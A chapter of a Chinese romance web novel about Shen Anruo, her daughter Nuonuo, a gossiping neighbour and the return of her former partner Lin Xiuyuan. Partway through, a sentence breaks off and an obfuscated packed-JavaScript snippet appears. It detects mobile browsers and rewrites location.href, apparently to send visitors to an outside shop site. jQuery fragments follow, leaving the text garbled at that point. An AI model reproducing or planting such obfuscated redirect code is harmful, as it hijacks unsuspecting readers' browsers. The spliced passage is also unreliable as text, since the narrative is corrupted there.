8.第 8 章
作品:《我的爸爸十八岁》 江城的第一场雪来得无声无息,雾气凝成霜,又结成银粟,静悄悄地飘落在树梢枝头。
沈安若从旧梦的昏沉里转醒,视线有些模糊,看不清床前的人。
黄桂琴撑着下巴坐在床边的椅子上打瞌睡,床上的人一动,她马上就睁开了眼,扶着床头柜倾身往前看:“安若,醒了?感觉怎么样?”
沈安若的意识慢慢清晰,隐约有些零星的记忆,知道自己是被送进了医院,她虚弱地笑了笑,眨眨眼表示自己没事,又转头找诺诺的影子。
正趴在落地窗前和贺怀章一起看雪的诺诺听见桂姨婆的话,撒开小腿跑回到床边,被贺怀章抱上床。
她刚才一睡醒,见到贺怀章,只红了些眼圈,等到黄桂琴来,窝在姨婆肩上偷偷抹了几滴泪儿,现在看到沈安若终于醒了,再忍不住,扑到妈妈怀里,“哇”一声大哭起来。
沈安若让黄桂琴扶着她坐起来,抱住小姑娘柔声哄着,眼里不禁泛起些潮气,女儿平日里极少会哭,今天心里不知道得有多害怕,她的胆子本就没有多大,怕黑也怕冷,完全随了她。
诺诺也好哄,不一会儿就止住了哭声,就是眼泪还停不下来,像个小袋鼠一样扒在沈安若身上,双手紧搂着妈妈脖子,湿漉漉的面颊贴着妈妈的脸,嗓子里间或哽噎一声,可怜巴巴的小模样儿让黄桂琴看得鼻子也有些酸,偏过头去抹眼睛。
沈安若一手抱紧诺诺,一手握住黄桂琴的手捏了捏,又看贺怀章,有些歉意:“今天真的是麻烦你了,没耽误你什么事儿吧。”
她以为是贺怀章送她来的医院。
贺怀章温声解释:“不是我送你来的,我也是才到不久,我今天去了一趟沪城,诺诺和桂姨给我打电话的时候我还在飞机上,没有接到。”
黄桂琴擦干眼角,转过头来对沈安若道:“是余至诚和那方大川的老板送你过来的。”
不过她到的时候只见到了贺怀章,并没有见到方大川的那个老板,那个方大川把她从高铁站接过来后,也不知道去了哪儿。
沈安若还想问方大川是谁,抬眼看清楚病房里的陈设,蓦地怔住,这间病房对她来说不陌生。
她来过,在很久之前,也是这样一个初冬夜,想到在这张床上发生过的事,沈安若再待不下去。
黄桂琴不放心她这样直接出院,她了解沈安若的身体,一到换季,尤其是秋冬交际,就容易感冒发烧,但从来没有像今天这么不省人事过,至少要住一两天院观察一下。
医生来了倒没有强留,只给她开了些药,又嘱咐她这些天要好好休息,不要再着凉。
住院费的账单已经有人结掉,有人带着他们从专属电梯下楼,大厅门口还有安排好的车在候着,那个方大川所谓的老板自始至终都没有出现过,黄桂琴心里早有疑惑,不过也没有多嘴问。
沈安若没有坐那辆车,而是麻烦贺怀章送她们回去。
风卷着沙沙的雪粒子模糊了前路,沈安若抱紧熟睡的女儿,怔忪地看着车窗外。
贺怀章在后视镜里看着她苍白的脸,握紧方向盘。
外面风雪愈大,又一个冬天到来了。
沈安若在家休息了两天,身体基本缓了过来,没什么大碍。
她已经知道隔壁要搬进来的是谁,心里有些恼,他钱多得没地方花,想把房子买在哪儿她无权干涉,但他们几次碰面,他至少可以提前知会她一声。
诺诺这两天看着倒没什么不对,就是格外黏她。
沈安若知道她被吓得不轻,晚上都和她挤在小床上睡一个被窝,诺诺最喜欢妈妈和她一起睡在她的小床上,都快十点了,一点儿也不困,有说不完的悄悄话想和妈妈分享。
说到要给小余老板送什么礼物作为感谢,沈安若状似不经意地提了一句:“诺诺见过那位新邻居叔叔了?”
诺诺脸上的笑容淡了些,垂下眼帘,轻轻“嗯”一声,又抬眼看妈妈,小小声道:“我不喜欢他。”
沈安若微怔,小姑娘少有把不喜欢谁表现得这么明显,她抱她到怀里,看她的眼睛:“是他说了什么吗?”
诺诺趴在沈安若的肩上,手指一圈一圈地绕着她的头发,好一会儿,才开口,长长的睫毛忽闪频繁:“他的脸冷冰冰的,看起来凶凶的。”
她说完看了沈安若一眼,凑到她耳边,用更小的声音说:“我最喜欢怀章叔叔。”
沈安若也在她耳边问:“最喜欢怀章叔叔什么?”
诺诺被妈妈呵出的气息痒到,咯咯地笑开,掰着手指头一个一个地数:“怀章叔叔又高又帅,笑起来很好看,会做好吃的饭,会给我修玩具,还有-- ”
她话说到一半,又及时收住,小手紧紧捂住自己的嘴,隔着掌心对妈妈道:“剩下的就是秘密,不能说的。”
她和怀章叔叔的秘密。
沈安若双手放到她的腰侧轻碰威胁:“连妈妈都不能告诉?”
诺诺最怕痒,她笑着尖叫一声,手脚并用地想从妈妈身上逃开,马上又被捉了回来,不过还不肯松口,只道:“现在还不能告诉妈妈。”
沈安若直接挠上她的痒,诺诺躲不开,笑得上气不接下气,母女俩在被子里闹成一团,笑声隐隐约约传到院子里。
更深夜静,月浸银霜。
沈安若侧身看着熟睡的女儿,慢慢抚着她柔软的头发,小姑娘刚才明显没有说实话,但那天具体发生了什么,她那一星半点的记忆什么也连不起来,连做过的梦都不记得。
还是要找他谈一谈。
小姑娘看着活泼开朗,其实心思有些重,很能藏自己的心事儿。
可一连半个多月,隔壁都是安静的,桂姨说连那个方大川平日里都没有来过。
他或许是住去了银海湾,也可能是回了北城,只要他不是长期定在江城就好,她一点儿都不想和他做门对门的邻居,不到万不得已,她暂时还没有卖房搬家的打算。
沈安若下班从地铁口出来,裹紧身上的大衣往家走,天气越来越冷,还是有一辆车会方便些,现在国补力度大,政策也优惠,沈安若已经看了好几款,打算这周末去线下店试试车再做决定。
路上迎面碰到在遛狗的曹敏芝,沈安若简单跟她打了个招呼。
自打曹敏芝非要把她那远方的侄儿介绍给她,沈安若不想让老太太再多心,这段时间都有意无意地避免和余至诚有什么正面的接触。
但余至诚那天帮了大忙,她怎么也要表示一下感谢,诺诺原打算给小余老板做一张感谢贺卡,沈安若想了想,哄着诺诺没让她做,要是让曹敏芝看到保不准又要想出什么花儿。
她让桂姨在蛋糕店的卡里充了三千块钱,平时去店里买东西也都是桂姨带着诺诺去,她没再进过余至诚的店。
沈安若不知道的是,她就算再避嫌,也架不住有人闲着没事儿瞎琢磨。
这些日子余至诚整天蔫了吧唧丧眉搭眼的,曹敏芝问他出了什么事儿他也不说,给他安排相亲他死活就是不去见人,把曹敏芝给气够呛,认定是沈安若这儿做出了什么妖。
她活了这么大半辈子,在单位里什么勾心斗角的事儿没见过,还没人能在她面前耍了心眼。
曹敏芝拽着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528445|186076||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自家的狗临时改了路线,跟上沈安若,闲聊起了天儿。
先是说天气聊晚饭,只往一些无关紧要的话题上扯,又昂着下巴说到余至诚公务员的考试成绩下来了,笔试第一名,马上就是面试,这要是面试也能通过,以后手里端着一个体制内的铁饭碗,还有蛋糕店这个不愁来钱的副业,这一辈子也就稳稳当当衣食无忧了。
最后又说起现在有好多人上赶着给余至诚介绍对象。
她最满意的要属她娘家表嫂介绍的那姑娘,父亲是区财政局的领导,母亲是幼儿园的园长。
这姑娘呢,留过几年学喝过洋墨水,现在在大学当老师,长得好,性子又乖,还听父母的话,连恋爱都没谈过,单纯得不行,一看就不是那种会当面一套背后一套耍什么歪心思的人。
要她看,两个人就是天上有地下无的般配,就是不知道人姑娘能不能看上自己家这个心眼实在好哄又好骗的傻小子。
沈安若听着曹敏芝话里时不时冒出的刺儿,起初还能耐下性子应两句,但她这两天来大姨妈,天儿又冷,她的耐心实在有限。
她笑盈盈地看曹敏芝:“怎么会看不上,曹姨您就放心吧,这小余老板要模样儿有模样儿,要学历有学历,要本事有本事,要是搁古代,都能去给公主当驸马爷。”
曹敏芝一噎,想说什么又说不出什么来,说她这话是讽刺吧,每个字儿都是夸赞,半个错处都让她挑不出,可她又不是傻的,怎么听着怎么觉得这话里的味儿不对。
旁边的阴影下突传来一声破功的闷笑,曹敏芝和沈安若同时转头看过去,她们都没注意到墙角站着的两个人。
方大川咬紧自己的唇,低下头,把笑声吞下去,恰逢手机响起震动,他赶紧得救似的接通电话走去一旁。
林修远从暗处走出来,面上无表情,看曹敏芝,不紧不慢道:“驸马爷也不是谁都能当,自己眼里的宝贝儿子,在别人那儿未必就是块儿香馍馍。”
越是实话越难听,曹敏芝瞬间脸红脖子青,她压下火气,想装云淡风轻又装不出来,上下打量林修远,上次她就看到他来找沈安若,也不知道两个人是什么关系。
她仰头问:“您哪位?”
林修远睨沈安若一眼。
沈安若对上他的目光,脑子一热,抢先一步跟曹敏芝介绍:“我哥,娘家的表哥。”
林修远看着她,讥诮地扯了下唇角,几年过去,半点长进都无,还是跟以前一样,说谎不打草稿张口就来。
曹敏芝暗地里想翻林修远个白眼又没敢翻,光打眼一看就知道这个男人不是好惹的,她假装拽不住自家的狗,匆匆和沈安若道了别。
青石板路上只剩两人对望,寒风晃着树影,路灯黄昏。
他看起来比半个月前要更瘦了些,看她的眼神跟之前的陌生也有些不一样,沈安若目光微闪,又仔细看他。
林修远看着她被风吹得乱舞的发丝,眉梢轻扬:“我什么时候成了沈小姐的娘家表哥?”
沈安诺睫毛眨了下,垂下眼:“不然要说什么。”
她乍一看到他,脑子就有些乱,她也不知道刚才的话是怎么从她嘴里顺出来的,但总不能跟曹敏芝说,他就是她那个“死”了后从坟墓里蹦出来的男人,说谎就是这样,说出一个谎,后面就要用一百个谎来圆。
林修远走近一步,伸手压住她乱飞的头发,又给她拢紧敞开的大衣领口。
沈安若被迫抬起头。
林修远目光落在她的红唇上,漫不经心地开口:“我倒是不知道谁家的妹妹会在病床上搂着自己的表哥亲。”

